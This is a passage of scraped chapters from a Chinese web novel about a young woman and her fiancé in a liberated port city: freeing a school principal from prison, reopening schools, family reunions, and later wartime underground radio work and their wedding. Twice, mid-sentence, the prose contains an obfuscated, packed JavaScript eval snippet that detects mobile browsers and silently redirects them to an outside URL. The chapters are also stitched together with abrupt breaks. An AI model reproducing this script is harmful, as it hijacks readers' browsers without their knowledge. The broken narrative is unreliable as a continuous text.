最前边的那个站在车门边,肩上横挎一条三八大盖。也就是开路的有一辆汽车, 跟在后头的,有几辆边三轮,几辆货厢式三轮, 还有数辆自行车和三轮车,最后边的, 甚至还有数辆驽马拉的板车。这些车辆后头拖着些杂货,叮零哐啷地横占整条街道,卷起一兜子臭风, 在众人闪避不及的退让中,又叮零哐啷地很快卷走了。 “这是啥子万国杂牌子货,还宪兵部,乞丐一样。”旁边阿嬷小声嘀咕。直扇鼻子:“啥子东西这么臭,是埋了多少年?” “不就是咸鱼喽?”老阿伯手指住落在最后的板车,八卦道:“这些人先去了漆厂路边的罐头厂,从里头缴获了好些条咸鱼。” “咦哟,真是一群穷骨头乡下人,什么破东西也扒到手里。这就是政府军?丢人哩。” 咸鱼在海城人人都吃过,但只是下等人嘴里的美食,虽说倭占这几年,大家嘴上寡淡,连咸鱼都当成了送礼访友的好宝贝。但这不是倭国人要滚了嘛,精明的海城阿嬷们有了其他选择,又开始在嘴上嫌弃它了。 老阿嬷也不怕叫人听到,本来么,这些政府军是什么德性,在战前年纪大些的谁不晓得底细?由此她的嫌弃引来一片赞同:“就是说嘛。一点政府形象都没有的,回来头一件事就是去抄咸鱼厂,说不定袋子里头还窝着蛆。” “哎呀胡大婶,你不要讲得太恶心。这些人哪是才回来么?前头歪戴帽的家伙你没认出来吗?那是果子弄的张阿毛啊,他都没出过海城,去哪里回来嘛。” “哦!搞了半天,还是一群小瘪三在演起冒充政府军的洋戏么。真是世道乱,什么猫三狗四的戏路都看得到。” “就是说嘛,这些人胆子也太大了,不怕政府军回来秋后算帐。散了散了,回家做饭了。” 阿伯阿嬷们一哄而散。 春妮拎着一肚子八卦回了家,正好桂生也在,把这事跟他一嘀咕,竟得了个内幕消息。 “说不好。如今这伙人被范增亮领着,到处收缴倭国人的产业。指不定就是政府军怕有的倭国人带着东西提前跑了,指挥他在接收海城前先收缴的一部分呢?” 春妮想了想,笑了:“是他啊,那他干这活岂不是老鼠掉进了米缸里快活死了?” 这个范增亮也算海城半个名人,战前当过海城宪兵副队长。上位不到二十天,因为没有带眼识人,索贿索到军方大佬夫人手上,又被踹了下来,堪称是这个年代火线上位火速下位的第一人。 桂生说起这队人是他的人马,春妮八卦兴致大减,坐下来跟桂生两人择菜,随口问道:“海城战前是什么样?” 桂生是土生土长的海城人,而春妮在战后才到的海城,问起这个问题也是好奇已久。 “什么什么样?就是你见到的这样啊。除了没有倭国人,没有炮弹。”桂生扯着豆角,两眼无光:“当然了,大家不 用担心走在大街上被倭国人抓走,这点倒是不错的。” 春妮知道他在担心什么,方校长住的监狱里,倭国人虽然撤走了,但没有人交接,狱警们以前大部分都是倭国人的人,也就是现在大街上人人喊打的华奸,所以虽然人都在,但人心涣散,以前跟倭国人走的近些的高层都躲的躲跑的跑,真正没几个人做事。以前他们还能时不常地进去探视,现在连守门的人都见不着人影,次次去,监狱门上次次都把着铁将军,里头什么样分毫不知。桂生得不到父亲的消息,整个人一天比一天丧气。 春妮心里也急,想着早晨看到的那一幕,脑子里突然冒出个主意:“不如我们今天去趟监狱,试试看能不能把校长接出来吧?” 桂生一怔,还没说话,一个人风风火火地从外头闯进来:“你们怎么还在这?走走走,今天不做饭了,我带你们去下馆子!” 是常文远,他甩掉公文包,意气风发地冲两人喊。 春妮很少见常文远这样喜形于色,不由得也跟着咧开嘴:“是有什么好事情吗?看你高兴的。” “天大的好消息,快跟我来!” 果然是个天大的好消息:法国人从租界撤走了! 三个人在街对过的西餐厅,到二楼选了个好位置,奢侈地点了三客炸猪排。倭国人宣布投降的那天 虽然快乐远甚今天,但那时候物资短缺,常文远又刚出狱便开始为营救狱友而奔走,大家一直没什么机会好好庆祝。今天借着这个喜事,正该好好好慰劳自己这几年一直亏欠的嘴巴和肚肠。 窗户对面正巧看得见法租界小教堂,教堂的大街上,净是提着行李箱,神色疲惫的高鼻子洋人。 这些人刚从倭国人的集中管理区出来,没歇到两天就收到消息,几乎是被撵出的海城。此时街面上大人叫小孩哭,个个都似是在逃难的模样,叫人看足了西洋景。 隔壁客人也在说这个事:“早该滚蛋了,这帮子鸟洋人,老子可受够了他们的气!在咱们的土地上,天天鼻孔朝天看不起咱们,把咱们当成下等人使唤,骂我们是病夫。怎么地,倭国人来了,自己个儿身段比堂子里的娘儿们都软,连自己的国家都能不放一枪就缴了白旗。华国再有问题,也没有真正跪下去!什么攮货也配瞧不起我们,我呸!” “怎么法国人突然撤出了租界?”等餐的空隙,春妮问常文远。 “说是政府那边签的同盟协议里有这个要求,签了好几年,毕竟要拉咱们当战友嘛。而且不止是法国人,过几天英国人美国人都统统要滚蛋,要滚出咱们华国人的土地。咱们华国人被洋人骑在头上拉屎拉尿的日子从此要成为历史了!” “真的吗?兄弟,你哪儿来的消息?” 二楼是开放区域,隔壁桌的客人也听到了常文远的话,兴奋地凑上来。 常文远笑着,正要回答,隔壁客人对面的那人却“啊?”地一声,哭丧起脸:“怎么忽然都要走了?是真的全都要走出华国了?那我那洋行的工作怎么办?” 另一人顿时怒了:“都什么时候了,还惦记你那洋行的工作?你都失业两年多了还记得不?” “我失业那是因为那些产业被倭国人收缴,是倭国人害我没了工作!现在倭国人走了,我前天碰到我们经理,他还要我回去工作呢。这下可怎么办哪?” “怎么洋人走了你就吃不了饭了是吧?你在洋行拿最低档的薪水,干最累的活,也没见你那破经理平时给你点好脸色!洋人是你爹啊,这么惦着他们。” “哎,你这家伙怎么说话的。我上有老下有小,想多拿些薪水有什么错?谁叫他们给的钱多?何况,洋人有炮呢,咱们哪惹得起他们?” “有炮他倒是来放啊,当谁现在没看清楚这些外头光亮的驴粪蛋子!还是多给你两个子儿就能忘了祖宗?” 隔壁客人的争论越来越大,吵得半个大厅都对他们怒目而视时,餐厅经理不得不出面安抚两人情绪。这起了点作用,这两人连餐都没等上,就气呼呼地下楼各奔东西。 春妮三人全程围观这场骂架,沉默了片刻。 常文远摇摇头,叹道:“有的人哪,腰一直弯着,让他直起来,他反而不习惯了。” 但这沉默很快被另一种快乐打断。 “三位,这是你们点的餐。” 喷香的炸猪排冒着热气被放在餐盘中盛了上来,三个人顾不得说话,捧起冰镇的桔子汽水先豪饮一大口,再咬一口外焦里嫩的猪排。什么是人间至美?有好友有好事有好食,畅饮痛笑,最美不过如此! “干杯!”三张拉得大大的笑脸映着杯光,在腾腾升起的热气中笑得是如此绚烂光彩! 第232章 232 出狱 “快走吧, 别回头。” 铁门门栓当啷落下,方至诚回身,冲春妮直摆手:“我身上有虱子, 你们别离我太近。” 春妮见他声音虚弱, 精神头却是不差,试探着放了手:“校长,您要是走不动就叫桂生背您,别硬撑着。” “我没什么的,只是饿得慌,他们也不打我。这两天,那些人怕政府的人来了清算, 对我们这些抗倭分子好了不少,吃的粥都稠了好些, 毕竟一朝天子一朝臣,总要临时抱佛脚表表忠心嘛。” 几人钻进常文远开来的小轿车,方校长絮絮叨叨地接着说:“也幸好是你们来了,倭国人跑之前断了水电。这两天我一滴水没沾, 就是口渴得很。” 春妮忙叫常文远停了车,桂生跑下去, 在一个汽水摊子前给他爹买了瓶正广和汽水。方校长微微解开领口,咕咕一口气干完了一整瓶水,长出一口气。 那天几人吃完饭, 趁着外国人归还租界的余威,常文远找到监狱, 塞了几个银元,让文书把方校长的档案销毁,结果监狱里根本没有他的文书, 第二天便将他顺利接了出来。至于林老师,他不是学校负责人,家里又有些门路,关进来没几个月就让倭国人放了出来。算起来,只有方校长实打实蹲足了四年多近五年的黑狱。 而多少个日夜都走不出来的吃人魔窟,如今轻轻松松向他们敞开了大门。 “这些日子学校情况怎样?校舍要回来了没有?” 从春妮他们撤到法租界之后,因来往不方便,他们去探望方校长也不再像先前那样频繁。如今外面的情况,他只从桂生两周一次的探视中听到零星消息,因而知道自打倭国人撤军之后,就一直着急被强占校舍的归还这件事。 “早回来啦。这几天我们正打算把以前的老师招回 来。” “很对,有哪些老师又回来了?” 法租界的临时学校里只有几个老师同春妮他们坚持到了抗战胜利,既然校舍拿了回来,必然面临马上的再一次招生。 “有王玉芝老师,林进峰老师。”桂生这几天没事跟着他们跑腿,很清楚内情。春妮都没来得及冲他使眼色,他嘴一秃噜全说了。 “怎么只有这两个老师?其他人呢?都没找到?” 方校长果然着急了。 “在慢慢找着呢。好多老师在海城日子不好过,回了乡下老家,想找到他们,还真不是一时半会儿的事。” “倒也是,”方校长放松下来:“再找不到就先登报招聘一些顶上吧,无论如何,学生复课不能耽搁,以前学校的老师能找的还是要尽量找回来。” 春妮同常文远对视一眼,学校的老师,只要留在海城的,这些年他们一直在联系,想办法周济。即使像韩老师那样的去别处谋生,他们也会尽量照料其 家属。然而世道艰难,韩老师下南洋生死不知,跟着他走的,就有好几个。还有回老家的,许多老师就此沓无音信,只有少数两三个,在安顿好之后向春妮他们来了信报平安,也大多境况不妙。 这些事方校长以后都会知道,现在说再多也是无宜。万幸他们随后去医院检查身体,方校长除了身体上的一些小毛病,并没患上什么熬人的大病。 在家里休养了一天,方校长等不及,第二天就跟春妮他们一起回到学校,正式接过主持招聘的工作,为学校复课开始奔波。 一晃一周过去,在这期间,新政府终于从南城派来了新的市长组建市府班子,而临时政府也从双城迁回了南城。报纸上新闻要不就是哪个要员去了哪里担任什么要职,要不就是倭国投降人员是放是杀,再要么就是哪里赌窝被端,烟馆被封,竟是一回来就要开始整肃风气了。 最后民间普遍达成共识,底层士兵不好说,首恶必定不能放过。报上消息也很快,倭国的某某前大臣,某某大将已经被押上飞往国际军事法庭的飞机,即将择日受审。 华国的一切发展欣然向好,战后最缺的就是工作机会,春妮他们的学校招生和招师理所当然地顺利,也开始了战后的第一次复课。 反而是方校长的一件私事出了些小问题。 “什么虾貘烂东西,怎么能连立案都不给立?我起诉人在居住地起诉,这明明是法律赋予我的权力,他们凭什么不给办!”从区政府法院出来,方校长站在獬豸柱边,气得连脏话都骂了出来。 难得清闲一天,送方校长来立案的春妮也是对法院的办事态度百般不解。 因为倭国战犯在国际上的受审,带动民间也兴起了一股起诉那些在战争中迫害自己的倭国人,索要赔偿的风潮。 方校长正是在这股风潮的带动下,决定联合几位被释放出狱的狱友,向无故关押他长达五年的倭国政府连同当时的宪兵队头子和狱长发起诉讼,要求他们为这五年的关押付出代价。 只是没想到,区法院不给立案。给出的理由是,区法院没有审理跨国案件的权限。 “法院才刚恢复工作,要办理的案子多。您也知道,这些政府吏员最擅长推脱,要不过段时间再说吧,我先带您回学校。” “正因为知道这些人的德性,不赶趁这股风头,再过段时间,舆论下去后,想做成这案子必然更难。” 方校长坐上春妮车后座:“去市里法院。今天这案子,我还不信真立不了了!” 一个钟头后 “说了立不了就是立不了,没有原因,我们还没追究你没办出狱手续就私自出狱的麻烦,你不要在这里添乱好不好!”办事员一脸不耐烦。 方校长目瞪口呆:“你搞搞清楚,我是被倭国人冤枉抓的冤狱,要办什么出狱手续?办什么出狱手续!我被抓进去的时候,怎么没人给我申张正义,说我入狱手续没办呢?!” “你这个死老头子吵什么吵?法警在哪?这里有人——” “对不住对不住,”春妮急忙抓住办事员的手,往他手里塞了些东西:“我们校长年纪大了,可能有些事记得不清楚,我这就带他走,不能耽误贵院办事。”说完,连拖带扯,将方校长拽出了法院。 被秋日的冷风一吹,方校长发热的头脑也冷静了一些,说起发生的事仍是愤愤不平:“这群瘪三,天天报纸上吹的,还以为风气真的同以前不一样了,我就不该对他们抱一点希望!” “咱们快回去吧,校工厂重开还有一堆事等着我们干呢。”春妮不想让方校长再为这事发火,试图转移话题。 他们的校工厂在战前积木,多米诺骨牌和竹凉席卖得都很好,学校复了课,校工厂重开自然也是刻不容缓。这两天已经有以前的员工陆续返回学校,在为这事作前期准备了。 方校长只好重新坐上车后座,叹了口气,忽然道:“这事,我感觉不太寻常。政府先前一力抗倭,按道理不该拦着我们向倭国人讨回公道。如今上面又是这个态度,这不对啊。” “除非他们不想跟倭国人彻底翻脸。”春妮用力蹬着车子,顺口说。 “这怎么可能?倭国 人在我国杀了这么些人,凭他们犯下的累累罪行,两国早就仇深似海,这脸也早就翻了。如今哪里来的彻底翻脸这一说?” “这谁知道,指不定台面下有什么龌龊事呢?” “可报上不是说,政府要对倭国政府追究到底?” “您不要把报纸上吹的东西当真,政府这德性,保准不是我们第一个遇到的,您看有哪家报纸报道出来?那些报业的节操,早在卖给倭国人时就丢尽了。” 春妮在来到海城的路上,还是同几个被政府军抛弃的伤员相互扶持才走出的洪水区,政府么,去过双城一回,早明白是个什么德性。她早就不对这狗攮的政府怀有一丁点期待,也就对他们没有一丝敬意。 春妮默默蹬着车子,方校长憋了半天,想起一件事,语气里带着揶揄:“对了,常校长已经登上了回申的火车,你还不知道吧?” 车子顿时一个急刹,春妮车也顾不上骑了,急声问道:“您说的是真的?常,常校长他怎么回来了?” “人家是吴江大学的校长。他不回申城来,难道要去别处重开吴江大学?” “我不是这个意思,我是说,这也太突然了吧。”常校长是常文远的亲叔叔,没有他的这层缘法,两人也不会认识。 常文远跟她在海城相依为命这些年,她几乎快把他有家人这件事给忘了。 方校长顿时笑了:“害怕了?有什么好怕的嘛。无非是丑媳妇见公婆这一套,何况你又不丑,常校长还那样欣赏你,没问题的。” “唉呀,那怎么一样?我说认真的,校长,您别再同我开玩笑了。常校长几点的车到海城?我,我是不是要准备些什么东西。” 方校长见她是真的急了,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14917219|160279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着同她保证,自己到时候会同她一道去接常校长,必定好好给她撑回腰。 春妮被打趣得脸上通红,却是默认了校长的安排。她什么事没见识过,可见男朋友家长,这属实开天辟地头一回,即使是她,也,也有些慌呢! 第233章 233 升职 春妮未婚夫家人即将抵申的消息很快在学校传开了, 因为常文远这段时间经常跑到学校帮忙,新老师们同他们二人都熟识起来,听见这消息, 纷纷跑来打趣这两个, 有询问他们婚期的,有帮春妮参考衣着的,倒是比这两个当事人操心。 春妮本来对见常校长这事还有些紧张,直到被同事们打趣了一天,两天,三天……倒是忘了,这个年代的火车, 哪怕同省南北相隔的两座城市也要坐上三四天,何况常校长从大后方双城赶来。 十五天后的中午, 常文远总算从车站带来了确切消息:“今天下午两点钟抵达。” 春妮已经被各种脑内预演和同事们层出不穷的玩笑话训练出来了,她把碗一搁就要出门:“那不就是两个小时以后?现在得赶紧出发了吧。” 倒是常文远有点踟蹰的样子:“那个,你不换身衣服?” 春妮“嗐呀”一声摘掉围裙,又跑到洗漱台前抹了点丹桂头油, 将因为干活而毛燥的头发用梳子梳梳顺,犹豫了一下, 旋开台上的丹祺口红,在唇上轻轻一点:“走吧。” 因为海城位于中心城区的客运站早早毁于战火,重建还停留在政府的图纸上, 这次常校长一家人将在外埠的火车站下车,直线距离只有不到十公里。但春妮二人开车抵达时, 正好听见呜呜的汽笛,竟是两边同时抵达了。 没法子,因为海城重归华国所有, 附近城镇大量人口重新涌入这里。来的这一路上,路上净是挑担子背包袱的人群,路边的荐头店,脚店更是排了整条街的人头。 更不要说火车站,简直是如海的人潮。等常文远艰难地排开人群,春妮的头发已经散了,线衫上别好的金雀花胸针也歪了,就连包都叫扒手扒开了一半。 常校长那边情形也差不多,他跟一个黑衣少年一人边,手提箱拱在一堆箱子上,不住地叫:“都往前走,这里边都是书,不要碰!” 这样倒是省去了不少不必要的寒喧,幸好进站之前,春妮叫了两个挑夫跟进来。即便这样,他们几人也没闲着,大包小袋推着如山的行李出站放上车,都出了一身的大汗。 “叔叔,您带这么些东西,人家是怎么让你上的车?”常文远擦了擦汗。 常校长不好意思地笑了笑,常太太嘴唇撇下来:“还能怎么办?上车前,他给了人家两块钱。” 春妮觉得有些奇怪,她印象中的常太太是个温柔安静,望之可亲的中年妇人,绝不肯在人前给家里人难堪,怎地现在看上去有了些戾气? 常校长也瘦了许多:“这些资料都很重要,我不带在眼前看着不放心。” “是哦,旁的人都没有你会办事。人家小李都说了,他随后就到随后就到,偏你非要一个人逞能。”常太太谍谍地抱怨不休。 “对了,怎么没叫文俊一起回来,他也好帮你们安顿?”常文远连忙打岔。 这句话一出,说话声倏然一静,常太太迅速 别过头去。常文远察觉到了什么,脸上的笑落下来。 “大哥他,去世了。”常雅欣轻声说。 春妮这才注意到,这个 跟她差不多大的女孩子文静了许多,脸上的婴儿肥消失了,两个颧骨高高在脸颊上支着,简直与过去的她没有一丝相像。 常文远失声道:“我们去年还通过信,他明明那样健康,怎么会?” 没人说话。最后是常先生咳嗽一声:“先上车吧。上车了再说。” …… “……他背着我们报名了空军,四个月前,在倭军最后的一次空袭中,跟他们同归于尽了。”文清也沉默了许多。 常太太终于掩嘴痛哭出声:“我的儿啊,他才26岁,他还没结婚,他就快结婚了,尸骨无存,尸骨无存啊!” 在这个无常的年代,死亡是最平常的事。 那个总是弯眉笑眼,收拾得利利落落的常奶奶也在抵达双城之后的一年后病死了。 别情难叙,昨是而今非,不过如此。 出门前,常文远特意给餐馆打电话过去,吩咐准备一桌丰盛的接风宴。 吃饭的点,店里店外熙熙攘攘,都是赶着回家吃饭的人,而他们却失去了大吃一顿的期待和兴奋。 “这第一杯酒,给奶奶,是她老人家最爱喝老家的女儿红。”常先生夫妻俩都没什么兴致,常文远作为主人,站起来,将第一杯酒洒在地上。 “这个,给文俊。文俊,你总说不知道威士忌什么味,”常文远哑着嗓子,将一整瓶洋酒倒下去:“叔叔不会再拦着你喝酒了,这一瓶,都是你的,你慢慢喝。” 常太太低低地,又哭了起来。雅欣揽住她,在她耳边低声劝慰着,他们的小弟弟则埋着头,一颗一颗地往里扒饭。 一顿饭就这样没滋没味地结束了。 饭后,常校长一刻也不能等,迫不及待地回到了吴江大学。 这所大学前身是美国教会学校,后来被倭国占据。因为其复杂的背景,倒是保存得比较完整。但战时被当作军队驻地,不可避免地还是受到了破坏。 “果真是干干净净,什么都没剩下。” 常校长抚摸着图书馆立柱来回望:“这么多书,光是烧也要烧一个月了吧?你们说,还有没有可能没烧完的?” 倭国军队撤出之前对学校的破坏,春妮两人早就知道了。他们时刻关注着海城的动向,对吴江大学等几所大学那数日来直冲云宵的黑烟怎么会毫不知情? 常校长很快又振作起来:“不怕,我们已经回来了。被抢走的,总会一点一点地再挣回来。” 其后数月,春妮和常文远几乎每天空闲后都要去吴江大学一趟。 起初,是帮常校长一家安顿。不提他带回来的那一大堆书和资料,因为他们先得到消息赶回来,学校复课的一些手续也着落在了常家人身上。 文清这些年跟着常校长,在双城提前念完了中学所有的课程,如今只等吴江大学复课,进入预科班读一年级。 他还记得向春妮打听夏生,可春妮自从把他送到后方,两边通信日益不便,她已经有两三年没得到弟弟的消息了。只偶尔从常文远口中得知,后方对学生的保护很好,除非自己愿意,不会让他们上战场。其他的,从通信的频率来看,春妮只能尽量不让自己乱想。 这天,春妮在常校长家帮着整理文件,吃饭的时候,常校长突然说:“事情实在太多,忙不过来啊。要不这样,我身边还缺个助理,春妮你辛苦些,这段时间就全天跟在我身边,多担些担子怎么样?” 即将成为一家人,又相处这么长时间,常校长现在看春妮,跟自家人已经没有了什么区别。 春妮有些意动。她跟着常校长,有时出入政府办事,也学到了不少。她认真考虑了一下:“也不是不行,可我学校的教学任务怎么办?还有我们的校办工厂,才刚刚重新拿到执业执照,这段时间恐怕也离不开我。” 对了,说到校办工厂,值得一提的是,战前他们一直没攻克的油画积木,韩师父和林老师闷在法租界的那间既是教室,又是宿舍的小公寓里,给成功做了出来! 林老师,不对,学校的老人走光了,他现在被提拔成了工厂的总设计师。要不是他自己说不喜欢庶务,就爱写写画画这些,现在他已经是校办工厂的第二任厂长了。这个厂长的含金量目前看不出来,但只要他们将厂子在战前的辉煌复制出来,趁势推出油画积木,工厂的前途和知名度,必将较战前更上一层楼。 “这你不用操心,到时候我去说,让你们校长再去招个体育□□来。现在各地人才争相涌入海城,不怕招不到人。工厂的事嘛,你先过来两天,我们商量着办。” 话说到这里,春妮也就答应了下来,不过,她想想笑道:“招□□是不难,可咱们这段时间又办工厂,又复课招生,工厂也没有进账,恐怕很快就找不出钱来给老师们开薪水。要不您帮着想想办法?” 常校长点点她,失笑道:“可惜今天你们校长不在这里,要叫他看见你这样为学校着想,不感动得再加你些薪水?” 春妮说的也确实是实情,常校长在双城时常与教育界人士来往,最是清楚如今政府有几两银子。他是没指望政府拨款的,从回来那天起,常校长几乎每天都在名士富商那里奔波。吴江大学到底是名校,筹措资 第239章【正文完】 第239章 239 正文完 “钟太太, 你打毛衣呐?这个花色怎么织出来的?真好看。” 又是一个平凡的傍晚,春妮熟稔地同邻居打着招呼:“你等等啊,我回去拿我的毛线来, 你教我两手。” 她进了房间, 却是直奔二楼:“巷子口有两个便衣进来,快藏好。” 几乎是听到她声音的同一时间,常文远从椅子上弹跳起来,摘下耳机扔给她,再回身撕下写满了字的纸条,拨开打火机,将纸张引燃的同时, 将窗户启开一线。而春妮则抱起沉重的发报机,三两下将其塞进书架背后的暗格, 竖起耳朵聆听门外的动静。 直到春妮一声:“人走了,不是冲着我们的。”两人又同时长吐出一口气,回过身来。却是鼻息相闻,差点撞到一处。 两方宣战之后, 政府对海城的防范日益严密,据大本营的消息, 他们派出了至少两千个暗探遍步在海城的大街小巷。春妮也经常听见传言,说哪里哪里被政府的人夜闯进宅抓间谍,破了多少大案, 又或者是闹出了多少笑话。 常文远嚅动着嘴唇,没等说话, 屋外钟太太在叫她:“顾小姐,天晚了看不清线,你待会直接来我家, 我来教你。” 春妮大声答应着,低头抻平衣裳:“钟太太叫我了,我走了。” “你——” 这次常文远同样没能说出话来,春妮已经挎起桌上的毛线篮走了出去。 他轻轻叹了口气,春妮这样的变化,是从过年那天开始,他面对叔叔婶婶的逼婚,选择了沉默之后有的。 过后她虽然没说什么,但两人相处时先前那样默契温馨的氛围已是荡然无存。 常文远本想同春妮说,如今这样的环境,如果同她结了婚,他万一出了事,岂不是害了她? 可每每话到嘴边,他又像被什么堵住一般。他知道春妮的个性,如果听见这样的答案,只怕会马上拉着他去领结婚证。老实说,他既盼着春妮无论怎样都会坚定地选择他,可又不想她这样一头栽进来。毫无疑问,他们正在暗中进行的 事业,到了最危险的时刻。哪怕有一点最微小的可能,他也不想让她卷进来。 有时候他这样的纠结,都叫他自己也瞧不上,可他们生于这样动荡的年代,他又做的是这样的事业,他不能不为她多想一些。 他一生做过这么多旁人眼中的大事,唯此一件,犹豫不定,又患得患失,竟是平生从未尝过的滋味。 春妮那头应付完钟太太回到自家,常文远已经换上睡衣,坐在客厅里看报纸。听见她的声音,他站起来笑道:“我正好煮了牛奶,我给你倒去。” 春妮没看他:“我不想喝。”轻巧却快速地上了楼。 不一会儿,浴室的门打开,里面传来哗哗的水声。 常文远站在楼梯口,轻轻叹了口气。 楼上的春妮却并不是像常文远以为的那样在洗澡,她望着水流在发呆。 以前两人总是很忙,就算在同一幢房子里生活,也是聚少离多,即使确定关系的时候也不短了,但大部分时间都有很多公事讨论,他们之间,像同事更多于像恋人。 她与常文远相识多年,大部分时候他的一个眼神,她马上能明白他是什么意思,她以为他们有足够的感情和默契,走到一起是顺理成章的。她们那个末世,有今朝没明日,年满十八就住在一起的男男女女多得是。而在这个年代,他的年纪确实也不小了,常文远今年即将年满30,像他这个年纪还没结婚的男人,只有她村里那几个老光棍。 春妮今年刚刚二十三岁,本来也没那么着急,可他迟迟不表态,春妮有些弄不懂了,这人到底在想什么? 那天常太太的问话,她倒还好。一直以来,他们在这间房子里,两人共同战斗,所结下的情谊也不是这样轻易能动摇。但那天之后,常文远一直都是这样吞吞吐吐,想殷勤又不像,想冷战也不像,这样别别扭扭的,弄得她也觉得哪哪不得劲。 平时除非必要,懒得再跟他说多的话。 但这样的矛盾也只在这些零碎的时间里扎扎人,大多数时候,他们仍然需要像以前那样精神高度紧张,彼此配合着工作。 白天的电台里,政府播音员高唱赞歌;而在夜晚那些秘密频道中,传来世界真实的声音。海城仿佛回到了沦陷后的那段时光。 春妮二人的工作开始一天比一天繁忙。白天,物资再次紧俏,物价再次飞涨,常文远要为餐馆找货源,平衡收支,再有,他被聘回海城大学当助教,也有些教务要做。春妮更不用说,她是常校长的得力助手,一切校内杂事,别人办不了的,她都要想办法去办并办好。晚上,则接大本营要求,将海城里里外外,包括街道地图,政府架构和人员构成,以及一些大小公司的股东高管,经营方向,物资仓库等所有市面上能搜集到的信息都搜集起来,传递回去。 对这场战事,大本营比世人都认为的乐观,准备充足。即使战事开始没多久,兵力和战备差别巨大,仍互负输赢,他们这时候却已经在为接管海城做准备。 大本营的自信给了他们这些孤军作战的暗线人员极大的信心 让两人精神疲惫。 初秋的早上寒意浸人,在监狱里各色人等混杂在一起,味道腌人得很。春妮迫不及待想洗个热水澡,一进门,身后的热源覆来,让她顿时一惊。 是常文远,他拥住了她。 春妮有些不习惯他突然的接近,他一向克制有礼。如果不是偶尔他情难自禁,触碰亲吻她的脸颊皮肤,春妮真的会怀疑,他们之间的爱到底是不是男女之爱。 可今天,他拥住了她。那样窒热的拥抱,他喷吐的气息滚烫,几乎让她瞬间也有些燥热:“怎么了?” 他不语,更加长久地紧抱住她。春妮扭过身,将自己锲进他怀中。 敌人的脚步声就在左右徘徊,不知什么时候会扑上来。他们就像处于暴风雨中的一片孤舟,震天的风雷声中,他们只有彼此,只有彼此的体温煨暖。 “我们结婚吧。” 春妮埋在他宽厚的怀中,耳朵边嗡嗡的。她脑子有些发闷,一时没分清,这句话是他说的,还是自己说的? “是的,我想明白了。在外人眼里,你我早就是一体,早就撇不清关系,可笑我……”常文远低头,到底是忐忑的。而她正抬头望他,她眼前像是有雾,小鹿一般,懵懵的,眼里只有他。 先前想说什么来着?常文远喉头滚动着:“我,我想,亲亲你。可不可以?” “啊?” 他却不等她回答,气息拂过她的脸庞,她不自觉闭上眼睛。 ………… 春妮和常文远办了个极富时代特色的婚礼。 因为常文远父母失联许多年,政府发行的金元币飞涨,如今一捆钱连袋盐都换不到。饭店服装店不涉及基础民生的店铺多数都在歇业或半关张中,他们只请了几个最亲密的朋友和常校长一家人。春妮穿上常太太给她织的一条红色毛线裙子做婚服,在照相馆照完结婚照,和方校长他们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这年月,有人肯给口吃的,那是天大的恩情。 春妮家的米粥清得能照见人影,谁也不知道吃了这顿下顿在哪,大家都在数米下锅。 这天深夜,连绵的炮仗声远远传来,把仍在加班工作的两人吓了一跳。 “是打仗了?”每天都半饥半饱,并维持高强度工作,春妮以为出现了幻觉。 “没有吧。是哪家办事点炮竹?” “谁家大半夜的办事?” 两人赶忙扒到窗户缝上,可外边黑乎乎的,除了偶尔的火光闪耀,什么都看不见。 常文远打了个呵欠,吹灭蜡烛:“睡吧。有什么事,明天早上就知道了。” 这段时间经常停电,他们点蜡烛不能工作太晚,否则会被治安局突击检查。 城里最近什么怪事都有,像士兵炸营,黑|帮火拼,大家都拿着真家伙在干。 伴着隆隆的炮火声,春妮一夜好眠。 第二天早上,她在一阵鸟鸣声中被叫醒。常文远穿着睡衣站在窗边,见她醒来,冲她一笑:“唉你快来看。” 他很久没笑得这样灿烂过,春妮心里一动,模模糊糊冒出个念头,朝着他指的方向看过去。 那是街角餐馆的屋檐下,一群年轻的战士躺在那 ,发出一阵阵呼噜声。他们手里都抱着枪,有的八角帽扣在脸上,有的蜷起身子,睡得是那样酣甜。 太阳撕开晨雾,照向他们。 天亮了。 (正文完)